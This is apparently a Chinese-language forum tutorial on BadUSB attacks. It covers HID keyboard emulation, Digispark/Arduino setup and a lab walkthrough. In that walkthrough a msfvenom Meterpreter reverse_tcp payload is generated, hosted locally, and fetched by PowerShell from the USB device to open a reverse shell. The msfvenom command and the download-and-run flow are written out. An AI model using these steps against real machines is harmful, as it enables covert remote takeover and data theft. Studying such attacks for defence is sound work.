0x001-简介
1. 概述
在2014年美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。
2. 2. USB如何识别
3. USB设备的初始化
4.Badusb内部结构
从这张图便可以了解到–Badusb和普通的U盘并没有什么两样,因此迷惑性极高,很容易攻击成功
5.Badusb Hid攻击原理
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。简而言之,今天要介绍的Badusb利用的是虚拟键盘来实现恶意代码的执行。
6.Badusb攻击优势
攻击者将恶意代码存放于Badusb的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件无法应对BadUSB的攻击。
7.Teensy
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。
0x002
1.Arduino是一款便捷灵活、方便上手的开源电子原型平台。其开发环境,主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了。
2.攻击流程
Bad-Usb插入后,会模拟键盘对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载恶意代码(通常为powershell脚本)并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。
2.购买硬件
淘宝随便花个十块钱捡破烂
实体
0x003 开发环境安装
Arduino IDE
Arduino下载: https://www.arduino.cc/en/Main/Software
Digispark驱动程序 (Windows):https://github.com/digistump/DigistumpArduino/releases
配置Arduino IDE
打开 文件->首选项
把这个网址添加到附加开发板管理网址
https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json
在Arduino中添加Digispark的支持
等待开发板管理器加载完成,搜索digistump并安装第一个Digistump AVR Boards
如果你没有安装 这里显示的是安装 点击安装即可
安装Windows下的驱动
打开上面的链接,下载Digistump.Drivers
解压后执行Install Drivers.exe即可
0x004 测试阶段
使用kali linux生成一个Payload:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -f exe > shell.exe
然后打开kali linux 终端输入msfconsole
设置好监听
使用phpstudy搭建一个本地的环境
然后此后门的下载链接就是:127.0.0.1/shell.exe
打开Arduino
重点就是使用powershell下载
接着插上USB 然后先点击验证编译
验证完整后下方会提示
接下来点击上传即可
完事 接下来 这个上传完成后就会自动运行 所以需要拔掉再插
0x005 测试GIF
GIF首先点击了上传(已经插入USB)上传完成后 自动运行 下载后门后 反弹回话!
GLHF!
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课